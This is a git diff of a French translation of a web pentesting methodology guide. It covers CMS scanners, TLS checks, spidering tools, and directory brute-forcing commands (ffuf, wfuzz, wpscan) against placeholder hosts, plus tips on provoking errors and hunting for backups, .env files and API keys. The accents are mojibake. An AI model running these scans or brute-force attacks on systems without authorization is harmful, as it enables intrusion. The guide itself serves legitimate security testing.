vulnĂ©rabilitĂ© ? -- Y a‑t‑il des **informations intĂ©ressantes dans le github** (issues rĂ©solues ou non) ? Ou dans l'**commit history** (peut‑ĂȘtre un **password** introduit dans un ancien commit) ? {{#ref}} code-review-tools.md {{#endref}} -### Scanners automatiques +### Automatic scanners #### Scanners automatiques Ă  usage gĂ©nĂ©ral ```bash @@ -134,12 +135,12 @@ nuclei -ut && nuclei -target # https://github.com/ignis-sec/puff (client side vulns fuzzer) node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ" ``` -#### Scanners CMS +#### Scanners de CMS -Si un CMS est utilisĂ©, n'oubliez pas de **lancer un scanner**, vous pourriez y trouver quelque chose d'intĂ©ressant : +Si un CMS est utilisĂ©, n'oubliez pas de **lancer un scanner**, il se peut que quelque chose d'intĂ©ressant soit trouvĂ© : [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ -[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites web pour dĂ©tecter des problĂšmes de sĂ©curitĂ©. (GUI)\ +[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites web pour des failles de sĂ©curitĂ©. (GUI)\ [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ou** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) @@ -149,45 +150,45 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> À ce stade vous devriez dĂ©jĂ  disposer de certaines informations sur le serveur web utilisĂ© par le client (si des donnĂ©es sont fournies) et de quelques astuces Ă  garder en tĂȘte pendant le test. Si vous avez de la chance, vous avez mĂȘme trouvĂ© un CMS et exĂ©cutĂ© un scanner. +> À ce stade, vous devriez dĂ©jĂ  disposer de certaines informations sur le serveur web utilisĂ© par le client (si des donnĂ©es sont fournies) et de quelques astuces Ă  garder Ă  l'esprit pendant le test. Si vous avez de la chance, vous avez mĂȘme trouvĂ© un CMS et lancĂ© un scanner. -## Step-by-step Web Application Discovery +## DĂ©couverte Ă©tape par Ă©tape de l'application Web -> From this point we are going to start interacting with the web application. +> À partir de ce point, nous allons commencer Ă  interagir avec l'application Web. -### Initial checks +### VĂ©rifications initiales -**Default pages with interesting info:** +**Pages par dĂ©faut contenant des informations intĂ©ressantes :** - /robots.txt - /sitemap.xml - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- Check also comments in the main and secondary pages. +- VĂ©rifiez Ă©galement les commentaires dans les pages principales et secondaires. -**Forcing errors** +**Forcer des erreurs** -Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**. +Les serveurs web peuvent **se comporter de maniĂšre inattendue** lorsque des donnĂ©es Ă©tranges leur sont envoyĂ©es. Cela peut ouvrir des **vulnĂ©rabilitĂ©s** ou provoquer une **disclosure sensitive information**. -- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc) -- **Add "\[]", "]]", and "\[["** in **cookie values** and **parameter** values to create errors -- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL** -- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE +- AccĂ©dez Ă  des **fake pages** comme /whatever_fake.php (.aspx,.html,.etc) +- **Ajoutez "\[]", "]]", et "\[["** dans les **valeurs des cookies** et les **valeurs des paramĂštres** pour crĂ©er des erreurs +- GĂ©nĂ©rez une erreur en donnant comme entrĂ©e **`/~randomthing/%s`** Ă  la **fin** de l'**URL** +- Essayez diffĂ©rents **verbes HTTP** comme PATCH, DEBUG ou incorrects comme FAKE #### **VĂ©rifiez si vous pouvez tĂ©lĂ©verser des fichiers (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to: +Si vous constatez que **WebDav** est **activĂ©** mais que vous n'avez pas suffisamment de permissions pour **tĂ©lĂ©verser des fichiers** dans le dossier racine, essayez de : -- **Brute Force** des identifiants -- **TĂ©lĂ©versez des fichiers** via WebDav dans les **autres** **dossiers trouvĂ©s** sur la page web. Vous pourriez avoir la permission de tĂ©lĂ©verser des fichiers dans d'autres dossiers. +- **Brute Force** les identifiants +- **TĂ©lĂ©verser des fichiers** via WebDav dans le **reste** des **dossiers trouvĂ©s** Ă  l'intĂ©rieur de la page web. Vous pouvez avoir la permission de tĂ©lĂ©verser des fichiers dans d'autres dossiers. ### **VulnĂ©rabilitĂ©s SSL/TLS** -- If the application **isn't forcing the user of HTTPS** in any part, then it's **vulnerable to MitM** -- If the application is **sending sensitive data (passwords) using HTTP**. Then it's a high vulnerability. +- Si l'application **n'impose pas l'utilisation de HTTPS** dans une quelconque partie, alors elle est **vulnĂ©rable aux attaques MitM** +- Si l'application **envoie des donnĂ©es sensibles (mots de passe) via HTTP**, c'est une vulnĂ©rabilitĂ© Ă©levĂ©e. -Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities: +Utilisez [**testssl.sh**](https://github.com/drwetter/testssl.sh) pour vĂ©rifier les **vulnĂ©rabilitĂ©s** (dans les programmes Bug Bounty, probablement ce type de vulnĂ©rabilitĂ©s ne sera pas acceptĂ©) et utilisez [**a2sv**](https://github.com/hahwul/a2sv) pour revĂ©rifier les vulnĂ©rabilitĂ©s: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -196,60 +197,60 @@ Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vul sslscan sslyze --regular ``` -Informations sur les vulnĂ©rabilitĂ©s SSL/TLS : +Information about SSL/TLS vulnerabilities: - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) ### Spidering -Lancez une sorte de **spider** sur le web. L'objectif du spider est de **trouver autant de chemins que possible** depuis l'application testĂ©e. Par consĂ©quent, web crawling et les sources externes doivent ĂȘtre utilisĂ©s pour trouver le plus de chemins valides possible. +Lancez une sorte de **spider** sur le site web. L'objectif du spider est de **trouver autant de chemins que possible** Ă  partir de l'application testĂ©e. Pour cela, le crawling et les sources externes doivent ĂȘtre utilisĂ©s afin de dĂ©couvrir le plus de chemins valides possible. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder dans les fichiers JS et des sources externes (Archive.org, CommonCrawl.org, VirusTotal.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, avec LinkFider pour les fichiers JS et Archive.org comme source externe. -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, indique aussi les "juicy files". -- [**evine** ](https://github.com/saeeddhqan/evine)(go): CLI interactif HTML spider. Cherche aussi dans Archive.org -- [**meg**](https://github.com/tomnomnom/meg) (go): Cet outil n'est pas un spider mais peut ĂȘtre utile. Vous pouvez indiquer un fichier avec hosts et un fichier avec paths et meg rĂ©cupĂ©rera chaque path sur chaque host et sauvegardera la rĂ©ponse. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider avec capacitĂ©s de rendu JS. Cependant, il semble non maintenu, la version prĂ©compilĂ©e est vieille et le code courant ne compile pas. -- [**gau**](https://github.com/lc/gau) (go): HTML spider qui utilise des providers externes (wayback, otx, commoncrawl) -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ce script trouvera les URLs avec paramĂštres et les listera. -- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider avec rendu JS. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, avec capacitĂ©s de JS beautify capable de rechercher de nouveaux chemins dans les fichiers JS. Il peut valoir le coup de jeter un Ɠil Ă  [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Pour extraire des endpoints Ă  la fois dans le source HTML et dans les fichiers javascript embarquĂ©s. Utile pour bug hunters, red teamers, infosec ninjas. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script python 2.7 utilisant Tornado et JSBeautifier pour parser les URLs relatives depuis les fichiers JavaScript. Utile pour dĂ©couvrir facilement les requĂȘtes AJAX. Semble non maintenu. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): DonnĂ© un fichier (HTML) il extrait les URLs en utilisant une regex astucieuse pour trouver et extraire les URLs relatives depuis des fichiers minifiĂ©s. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, plusieurs outils): Rassemble des informations intĂ©ressantes depuis les fichiers JS en utilisant plusieurs outils. -- [**subjs**](https://github.com/lc/subjs) (go): Trouve les fichiers JS. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Charge une page dans un headless browser et affiche toutes les urls chargĂ©es pour afficher la page. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Outil de dĂ©couverte de contenu mĂ©langeant plusieurs options des outils prĂ©cĂ©dents -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Une extension Burp pour trouver paths et params dans les fichiers JS. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Un outil qui, donnĂ© l'URL .js.map, vous rĂ©cupĂ©rera le code JS beautifiĂ© -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Outil utilisĂ© pour dĂ©couvrir des endpoints pour une target donnĂ©e. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** DĂ©couvre des liens depuis la wayback machine (tĂ©lĂ©charge aussi les rĂ©ponses dans la wayback et cherche plus de liens) -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (mĂȘme en remplissant des forms) et trouve aussi des infos sensibles en utilisant des regex spĂ©cifiques. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite est un GUI crawler/spider multi-fonction avancĂ© conçu pour les professionnels de la cybersĂ©curitĂ©. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): C'est un package Go et un [outil en ligne de commande](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire URLs, paths, secrets et autres donnĂ©es intĂ©ressantes depuis le code source JavaScript. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge est une simple **Burp Suite extension** pour **extraire les paramĂštres et endpoints** des requĂȘtes afin de crĂ©er des wordlists personnalisĂ©es pour le fuzzing et l'Ă©numĂ©ration. -- [**katana**](https://github.com/projectdiscovery/katana) (go): Outil excellent pour cela. -- [**Crawley**](https://github.com/s0rg/crawley) (go): Affiche chaque link qu'il est capable de trouver. +- [**gospider**](https://github.com/jaeles-project/gospider) (go) : HTML spider, LinkFinder dans les fichiers JS et sources externes (Archive.org, CommonCrawl.org, VirusTotal.com). +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go) : HML spider, avec LinkFider pour les fichiers JS et Archive.org comme source externe. +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python) : HTML spider, indique aussi les "juicy files". +- [**evine** ](https://github.com/saeeddhqan/evine)(go) : CLI interactive HTML spider. Il recherche Ă©galement dans Archive.org +- [**meg**](https://github.com/tomnomnom/meg) (go) : Cet outil n'est pas un spider mais peut ĂȘtre utile. Vous pouvez indiquer un fichier avec des hosts et un fichier avec des paths et meg ira fetch chaque path sur chaque host et enregistrera la rĂ©ponse. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go) : HTML spider avec capacitĂ©s de rendering JS. Cependant, il semble non maintenu, la version prĂ©compilĂ©e est ancienne et le code actuel ne compile pas. +- [**gau**](https://github.com/lc/gau) (go) : HTML spider qui utilise des fournisseurs externes (wayback, otx, commoncrawl). +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider) : Ce script va trouver les URLs avec paramĂštres et les lister. +- [**galer**](https://github.com/dwisiswant0/galer) (go) : HTML spider avec capacitĂ©s de rendering JS. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python) : HTML spider, avec capacitĂ©s de JS beautify capable de rechercher de nouveaux chemins dans les fichiers JS. Il peut ĂȘtre utile aussi de jeter un Ɠil Ă  [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go) : Pour extraire des endpoints dans le source HTML et les fichiers javascript embarquĂ©s. Utile pour bug hunters, red teamers, infosec ninjas. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7) : Script python 2.7 utilisant Tornado et JSBeautifier pour parser les URLs relatives des fichiers JavaScript. Utile pour dĂ©couvrir facilement les requĂȘtes AJAX. Semble non maintenu. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby) : Étant donnĂ© un fichier (HTML) il extraira les URLs en utilisant des expressions rĂ©guliĂšres pour trouver et extraire les URLs relatives de fichiers minifiĂ©s. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, plusieurs outils) : Rassemble des informations intĂ©ressantes depuis les fichiers JS en utilisant plusieurs outils. +- [**subjs**](https://github.com/lc/subjs) (go) : Trouve les fichiers JS. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go) : Charge une page dans un headless browser et affiche toutes les urls chargĂ©es pour rendre la page. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust) : Outil de discovery de contenu mĂ©langeant plusieurs options des outils prĂ©cĂ©dents. +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions) : Extension Burp pour trouver paths et params dans les fichiers JS. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper) : Outil qui, donnĂ© l'URL .js.map, rĂ©cupĂšre le code JS beautifiĂ©. +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder) : Outil utilisĂ© pour dĂ©couvrir des endpoints pour une cible donnĂ©e. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** DĂ©couvre des liens depuis la wayback machine (tĂ©lĂ©charge aussi les rĂ©ponses dans la wayback et cherche plus de liens). +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go) : Crawl (mĂȘme en remplissant des forms) et trouve aussi des infos sensibles en utilisant des regex spĂ©cifiques. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite) : Spider Suite est un crawler/spider GUI multi-fonction avancĂ© conçu pour les professionnels de la cybersĂ©curitĂ©. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go) : Package Go et [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire URLs, paths, secrets et autres donnĂ©es intĂ©ressantes depuis le source JavaScript. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge) : ParaForge est une simple **Burp Suite extension** pour **extraire les paramĂštres et endpoints** depuis les requĂȘtes afin de crĂ©er des wordlists personnalisĂ©es pour le fuzzing et l'Ă©numĂ©ration. +- [**katana**](https://github.com/projectdiscovery/katana) (go) : Outil excellent pour cela. +- [**Crawley**](https://github.com/s0rg/crawley) (go) : Affiche chaque lien qu'il est capable de trouver. ### Brute Force directories and files -Commencez le **brute-forcing** depuis le dossier racine et assurez-vous de brute-forcer **tous** les **rĂ©pertoires trouvĂ©s** en utilisant **cette mĂ©thode** ainsi que tous les rĂ©pertoires **dĂ©couverts** par le **Spidering** (vous pouvez faire ce brute-forcing **rĂ©cursivement** en prĂ©fixant au dĂ©but de la wordlist utilisĂ©e les noms des rĂ©pertoires trouvĂ©s).\ +Commencez le **brute-forcing** depuis le dossier racine et assurez-vous de brute-forcer **tous** les **rĂ©pertoires trouvĂ©s** en utilisant **cette mĂ©thode** et tous les rĂ©pertoires **dĂ©couverts** par le **Spidering** (vous pouvez faire ce brute-forcing **rĂ©cursivement** en prĂ©fixant dans le wordlist utilisĂ© les noms des rĂ©pertoires trouvĂ©s).\ Outils : -- **Dirb** / **Dirbuster** - Inclus dans Kali, **old** (et **slow**) mais fonctionnel. Permet les certificats auto-signĂ©s et la recherche rĂ©cursive. Trop lent comparĂ© aux autres options. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Il n'autorise pas les certificats auto-signĂ©s mais** permet la recherche rĂ©cursive. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): Permet les certificats auto-signĂ©s, il **n'a pas** de recherche **rĂ©cursive**. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.** +- **Dirb** / **Dirbuster** - Inclus dans Kali, **ancien** (et **lent**) mais fonctionnel. Permet certificats auto-signĂ©s et recherche recursive. Trop lent comparĂ© aux autres options. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Il n'autorise pas les certificats auto-signĂ©s mais** permet la recherche recursive. +- [**Gobuster**](https://github.com/OJ/gobuster) (go) : Il permet les certificats auto-signĂ©s, il **n'a pas** de recherche **rĂ©cursive**. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Rapide, supporte la recherche rĂ©cursive.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` -- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): Ce n'est pas un spider mais un outil qui, donnĂ© la liste des URLs trouvĂ©es, supprimera les URLs "dupliquĂ©es". -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension pour crĂ©er une liste de rĂ©pertoires depuis l'historique Burp de diffĂ©rentes pages -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Supprime les URLs avec des fonctionnalitĂ©s dupliquĂ©es (basĂ© sur les imports js) -- [**Chamaleon**](https://github.com/iustin24/chameleon): Utilise wapalyzer pour dĂ©tecter les technologies utilisĂ©es et sĂ©lectionner les wordlists Ă  utiliser. +- [**ffuf** ](https://github.com/ffuf/ffuf)- Rapide: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` +- [**uro**](https://github.com/s0md3v/uro) (python) : Ce n'est pas un spider mais un outil qui, donnĂ© la liste d'URLs trouvĂ©es, supprime les URLs "dupliquĂ©es". +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger) : Burp Extension pour crĂ©er une liste de rĂ©pertoires depuis l'historique Burp de diffĂ©rentes pages. +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor) : Remove les URLs avec des fonctionnalitĂ©s dupliquĂ©es (basĂ© sur les imports js). +- [**Chamaleon**](https://github.com/iustin24/chameleon) : Utilise wapalyzer pour dĂ©tecter les technologies utilisĂ©es et sĂ©lectionner les wordlists Ă  utiliser. -Dictionnaires recommandĂ©s : +**Dictionnaires recommandĂ©s :** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) @@ -268,41 +269,41 @@ Dictionnaires recommandĂ©s : - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Notez que chaque fois qu'un nouveau rĂ©pertoire est dĂ©couvert pendant le brute-forcing ou le spidering, il doit ĂȘtre Brute-Forced._ +_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trouve des liens cassĂ©s dans les HTML qui peuvent ĂȘtre susceptibles de takeovers -- **File Backups**: Une fois que vous avez trouvĂ© tous les fichiers, recherchez des backups de tous les fichiers exĂ©cutables ("_.php_", "_.aspx_"...). Variantes communes pour nommer un backup : _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp et file.old._ Vous pouvez aussi utiliser l'outil [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Discover new parameters**: Vous pouvez utiliser des outils comme [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **et** [**Param Miner**](https://github.com/PortSwigger/param-miner) **pour dĂ©couvrir des paramĂštres cachĂ©s. Si possible, essayez de rechercher des paramĂštres cachĂ©s dans chaque fichier web exĂ©cutable.** +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker) : Trouve les liens brisĂ©s dans les HTML qui peuvent ĂȘtre susceptibles de takeover. +- **File Backups** : Une fois que vous avez trouvĂ© tous les fichiers, cherchez des backups de tous les fichiers exĂ©cutables ("_.php_", "_.aspx_"...). Variations communes pour nommer un backup : _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Vous pouvez aussi utiliser l'outil [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Discover new parameters** : Vous pouvez utiliser des outils comme [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **et** [**Param Miner**](https://github.com/PortSwigger/param-miner) **pour dĂ©couvrir des paramĂštres cachĂ©s. Si possible, essayez de chercher** des paramĂštres cachĂ©s sur chaque fichier web exĂ©cutable. - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** VĂ©rifiez les commentaires de tous les fichiers, vous pouvez y trouver des **credentials** ou des **fonctionnalitĂ©s cachĂ©es**. -- Si vous jouez un **CTF**, une astuce courante est de **cacher** des **informations** dans des commentaires Ă  droite de la **page** (en utilisant des **centaines** d'espaces pour que vous ne voyiez pas les donnĂ©es si vous ouvrez le source avec le navigateur). Autre possibilitĂ© : utiliser plusieurs nouvelles lignes et **cacher des informations** dans un commentaire en bas de la page web. -- **API keys**: Si vous **trouvez une API key** il existe des guides indiquant comment utiliser les API keys pour diffĂ©rentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: Si vous trouvez une API key ressemblant Ă  **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vĂ©rifier quelles apis la key peut accĂ©der. -- **S3 Buckets**: Pendant le Spidering regardez si un sous-domaine ou un lien est liĂ© Ă  un S3 bucket. Dans ce cas, [**check** the **permissions** of the bucket](buckets/index.html). +- **Comments :** VĂ©rifiez les commentaires de tous les fichiers, vous pouvez y trouver des **credentials** ou des **fonctionnalitĂ©s cachĂ©es**. +- Si vous jouez en **CTF**, une astuce "classique" est de **cacher** des **informations** dans des commentaires Ă  droite de la **page** (en utilisant des **centaines** d'**espaces** pour que les donnĂ©es ne soient pas visibles si vous ouvrez le source avec le navigateur). Autre possibilitĂ© : utiliser **plusieurs lignes** et **cacher des informations** dans un commentaire en bas de la page web. +- **API keys** : Si vous **trouvez une API key** il existe des guides qui indiquent comment utiliser les API keys pour diffĂ©rentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys : Si vous trouvez une API key qui ressemble Ă  **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vĂ©rifier Ă  quelles APIs la key donne accĂšs. +- **S3 Buckets** : Pendant le spidering, regardez si un **subdomain** ou un **lien** est liĂ© Ă  un **S3 bucket**. Dans ce cas, [**vĂ©rifiez** les **permissions** du bucket](buckets/index.html). ### Special findings -**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**. +**Pendant** le **spidering** et le **brute-forcing** vous pouvez trouver des **Ă©lĂ©ments intĂ©ressants** qu'il faut **noter**. -**Interesting files** +**Fichiers intĂ©ressants** -- Cherchez des **links** vers d'autres fichiers Ă  l'intĂ©rieur des fichiers **CSS**. +- Cherchez des **liens** vers d'autres fichiers Ă  l'intĂ©rieur des fichiers **CSS**. - [If you find a _**.git**_ file some information can be extracted](git.md) -- Si vous trouvez un _**.env**_ des informations comme des api keys, des mots de passe db et d'autres informations peuvent ĂȘtre trouvĂ©es. -- Si vous trouvez des **API endpoints** vous [should also test them](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ressembleront probablement Ă  des fichiers. -- **JS files**: Dans la section spidering plusieurs outils capables d'extraire des paths depuis les fichiers JS ont Ă©tĂ© mentionnĂ©s. De plus, il serait intĂ©ressant de **monitor** chaque fichier JS trouvĂ©, car parfois un changement peut indiquer qu'une potentielle vulnĂ©rabilitĂ© a Ă©tĂ© introduite dans le code. Vous pouvez par exemple utiliser [**JSMon**](https://github.com/robre/jsmon)**.** -- Vous devriez aussi vĂ©rifier les fichiers JS dĂ©couverts avec [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) pour voir s'ils sont vulnĂ©rables. +- Si vous trouvez un _**.env**_ des informations telles que api keys, mots de passe db et autres peuvent ĂȘtre trouvĂ©es. +- Si vous trouvez des **API endpoints** vous [should also test them](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ressembleront probablement Ă  tels. +- **JS files** : Dans la section spidering plusieurs outils capables d'extraire des paths depuis les fichiers JS ont Ă©tĂ© mentionnĂ©s. Il serait aussi intĂ©ressant de **monitorer chaque fichier JS trouvĂ©**, car dans certaines occasions un changement peut indiquer qu'une vulnĂ©rabilitĂ© potentielle a Ă©tĂ© introduite dans le code. Vous pouvez utiliser par exemple [**JSMon**](https://github.com/robre/jsmon)**.** +- Vous devriez aussi vĂ©rifier les JS dĂ©couverts avec [**RetireJS**](https://github.com/retirejs/retire.js/) ou [**JSHole**](https://github.com/callforpapers-source/jshole) pour voir s'ils sont vulnĂ©rables. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- Dans plusieurs cas, vous aurez besoin de **comprendre les expressions rĂ©guliĂšres** utilisĂ©es. Ceci sera utile : [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex) -- Vous pourriez aussi **monitor** les fichiers oĂč des forms ont Ă©tĂ© dĂ©tectĂ©s, car un changement de paramĂštre ou l'apparition d'un nouveau form peut indiquer une nouvelle fonctionnalitĂ© potentiellement vulnĂ©rable. +- Dans plusieurs cas, vous devrez **comprendre les expressions rĂ©guliĂšres** utilisĂ©es. Cela peut ĂȘtre utile : [https://regex101.com/](https://regex101.com) ou [https://pythonium.net/regex](https://pythonium.net/regex) +- Vous pouvez aussi **monitorer les fichiers contenant des forms**, car un changement de paramĂštre ou l'apparition d'un nouveau form peut indiquer une nouvelle fonctionnalitĂ© potentiellement vulnĂ©rable. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -313,28 +314,28 @@ _Notez que chaque fois qu'un nouveau 